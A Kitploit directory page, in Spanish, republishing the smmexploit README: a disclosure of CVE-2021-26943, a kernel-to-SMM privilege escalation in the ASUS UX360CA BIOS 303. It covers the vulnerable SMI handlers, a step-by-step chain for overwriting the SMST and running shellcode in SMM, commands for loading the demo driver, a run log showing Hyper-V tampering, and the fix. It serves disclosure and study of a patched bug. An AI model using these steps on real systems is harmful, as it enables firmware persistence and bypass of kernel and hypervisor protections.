Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
SmmExploit — El informe y el exploit de CVE-2021-26943, la vulnerabilidad local de escalada de privilegios de kernel a SMM en la BIOS versión 303 de ASUS UX360CA. | Kitploit
Herramientas/GitHubGitHub/tandasat/smmexploit
Escalada de PrivilegiosAnálisis de VulnerabilidadesExplotaciónSeguridad de HardwarePapers e InvestigaciónAprendizaje y EducaciónAnálisis de FirmwareExplotación de Binarios
GitHubtandasat/smmexploit

SmmExploit

El informe y el exploit de CVE-2021-26943, la vulnerabilidad local de escalada de privilegios de kernel a SMM en la BIOS versión 303 de ASUS UX360CA.

1482321hace 5 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Ver Repositorio
Sitio web

SmmExploit

Este es un informe y un exploit de CVE-2021-26943, la vulnerabilidad de escalada de privilegios local de kernel a SMM en el BIOS versión 303 del ASUS UX360CA. El problema se solucionó en la versión 304.

Descripción del problema

Resumen

El BIOS versión 303 del UX360CA tiene 3 módulos vulnerables que permiten a un atacante con privilegio ring0 sobrescribir memoria física casi arbitraria, incluida la SMRAM, y ejecutar código arbitrario en SMM.

Esos módulos se pueden identificar de la siguiente manera:

NombreGUIDSHA256
UsbRt04EAAAA1-29A1-11D7-8838-00500473D4EB8A3DEAFD0A688DD4360A65C98E434180152EB43EB2C913C663F13D5709776781
SdioSmmEA343100-1A37-4239-A3CB-B92240B935CF4578E1E147D846BB925DF881A2A0A3C3F1E6CD2AE033A8B0F769E5EB42783A0A
NvmeSmmE5E2C9D9-5BF5-497E-8860-94F81A09ADE0A9C762B13FC9C4156603D674C6DAEBC4369520D95ACB1D0FA976078D6F7F1003

Esos módulos son de AMI (fabricante de BIOS) y pueden estar presentes en BIOS de otros OEM.

Vulnerabilidades

Los módulos vulnerables y sus SMI correspondientes son: UsbRt (0x31), SdioSmm (0x40) y NvmeSmm (0x42). Todos esos manejadores de SMI leen la dirección de memoria física 0x40E para obtener una dirección sobre la que trabajar y escriben un byte en esa dirección en caso de error, incluso si se trata de SMRAM.

Por ejemplo, el manejador de SMI de SdioSmm tiene el siguiente aspecto:

EFI_STATUS
EFIAPI
SdioSmm_SwSmi_40h(
  EFI_HANDLE  DispatchHandle,
  CONST VOID  *Context,
  VOID        *CommBuffer,
  UINTN       *CommBufferSize
  )
{
  // ...
  struct_v0 *userControlled = *(0x10 * MEMORY[0x40E] + 0x104);
  if ( EFI_ERROR(ValidateBufferIsOutsideSmram(userControlled, sizeof(struct_v0)))
    || userControlled->Offset0_FunctionCode >= 4 )
  {
    userControlled->Offset2 = 7;
  }
  else
  {
    // ...
  }
  return EFI_SUCCESS;
}

Este problema parece ser idéntico a INTEL-SA-00057, que está muy bien descrito como Aptiocalypsis. Sin embargo, el BIOS versión 303 para UX360CA no incluye correcciones para ellos.

Explotación

Esto permite a un atacante con acceso de escritura a la memoria física y la instrucción OUT (es decir, los privilegios ring0) sobrescribir el contenido de la SMRAM con los siguientes pasos:

  1. Asegurarse de que la dirección física 0x40e sea cero (lo más probable es que ya lo sea)
  2. Escribir una dirección de SMRAM, por ejemplo 0x88400000, en la dirección física 0x104
  3. Emitir la SMI 0x40
  4. Se actualiza 0x88400000+2 con 0x7.

Esto se puede usar para lograr la ejecución de código arbitrario en SMM de la siguiente manera:

  1. Encontrar la dirección de la System Management Service Table (SMST) en SMRAM, con los siguientes pasos:
    1. Obtener un rango de direcciones físicas para el código de runtime de UEFI a partir del contenido del valor .Raw en HKLM\HARDWARE\RESOURCEMAP\System Resources\Loader Reserved
    2. Encontrar la dirección de SMM_CORE_PRIVATE_DATA escaneando la firma 'smmc' en el rango de direcciones.
    3. SMM_CORE_PRIVATE_DATA tiene el puntero a la SMST en el desplazamiento 30h
  2. Sobrescribir el puntero a la función SmmLocateProtocol en el desplazamiento d0h de la SMST usando la primitiva de escritura anterior. El valor se actualiza a 0x07070707.
  3. Escribir shellcode en la memoria física 0x07070707
  4. Disparar otra SMI que llame a Smst->SmmLocateProtocol, como la SMI 0xdf. El shellcode en 0x07070707 se ejecuta en SMM.

La ejecución de código arbitrario en SMM permitiría a un atacante omitir medidas de seguridad del kernel y del hipervisor, como HVCI, como se demuestra en otro informe de vulnerabilidad de SMM, y establecer persistencia actualizando el contenido de la memoria flash SPI (BIOS).

Prueba de concepto (PoC)

El proyecto de demostración adjunto demuestra una explotación exitosa y vuelca el contenido de los MSR que solo son accesibles en SMM y la dirección física de la EPTP. También modifica el código de manejo de salida de VM (VM-exit) de CPUID del hipervisor Hyper-V para devolver una cadena de proveedor del hipervisor alterada.

La PoC se probó en Windows build 18362.1256, con y sin HVCI habilitado.

Una grabación de la explotación exitosa se puede encontrar en YouTube. Demo.png

Instrucciones de prueba

  1. Abrir demo.sln en Visual Studio 2019
  2. Compilar la solución para una compilación Debug o Release
  3. Copiar el demo.sys compilado al sistema de destino (por ejemplo, C:\users\user\desktop\demo.sys)

En el sistema de destino,

  1. Deshabilitar el arranque seguro (Secure Boot) desde el BIOS y reiniciar
  2. Habilitar el modo de firma de prueba y reiniciar
    > bcdedit /set testsigning on
    
  3. Crear el servicio para cargar demo.sys
    > sc create demo type= kernel binPath= C:\users\user\desktop\demo.sys
    
  4. Iniciar DebugView y habilitar "Capture Kernel" desde el menú "Capture".
  5. Iniciar la demo
    > sc start demo
    
  6. Si tiene éxito, DebugView mostrará los valores de los MSR relacionados con SMM.
    [+] ReportSmramRange: TSEG implied SMRAM: 0x88400000 - 0x88800000
    [-] ReportSmramRange: Exception occurred while accessing SMRR MSR : c0000096
    [+] FindSystemManagementServiceTable: SMM core found at 0x87f1b390 in RT Code
    [+] FindSystemManagementServiceTable: SMST found at 0x887fa710 in SMRAM
    [+] ExploitSmm: Patched SMST->SmmLocateProtocol in SMRAM
    [+] ExploitSmm: Placed SMM shell code
    [+] ExploitSmm: Triggered SMM exploit
    [+] DumpSmmExploitOuput: IA32_SMBASE             = 0x887cd000
    [+] DumpSmmExploitOuput: MSR_SMM_FEATURE_CONTROL = 0x1
    [+] DumpSmmExploitOuput: MSR_SMM_MCA_CAP         = 0xc00000000000000
    [+] DumpSmmExploitOuput: EPT pointer             = 0x10a72001e
    [+] DumpSmmExploitOuput: Patched Hv address      = 0x1004382f0
    [+] ExploitSmm: Successfully executed shell code in SMM. Failing DriverEntry to unload itself
    DriverEntry failed 0xc0000120 for driver \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\demo
    
  7. Si Hyper-V se está ejecutando y la modificación del código fue exitosa, CPUID 0x4000000 devolverá la cadena de proveedor del hipervisor modificada Hv Tampered!.
    > CheckHvVendor.exe
    Executing CPUID(0x40000000) on CPU 0
    Result: Hv Tampered!
    Executing CPUID(0x40000000) on CPU 1
    Result: Hv Tampered!
    Executing CPUID(0x40000000) on CPU 2
    Result: Hv Tampered!
    Executing CPUID(0x40000000) on CPU 3
    Result: Hv Tampered!
    

Resolución

La corrección consiste en evitar por completo usar el contenido controlado por el usuario cuando apunta al interior de la SMRAM, como se muestra a continuación.

{
  // ...
  struct_v0 *userControlled = *(0x10 * MEMORY[0x40E] + 0x104);
  if (!EFI_ERROR(ValidateBufferIsOutsideSmram(userControlled, sizeof(struct_v0))))
  {
    if (userControlled->Offset0_FunctionCode < 7 )
    {
      // ...
    }
    else
    {
      userControlled->Offset2 = 7;
    }
  }
  return EFI_SUCCESS;
}

Consideraciones

Protección faltante para el hipervisor

La corrección sigue perfectamente las mejores prácticas actuales de la industria y evita el ataque de "confused deputy" (subordinado confundido) que conduce a la corrupción de la SMRAM.

Descargar herramienta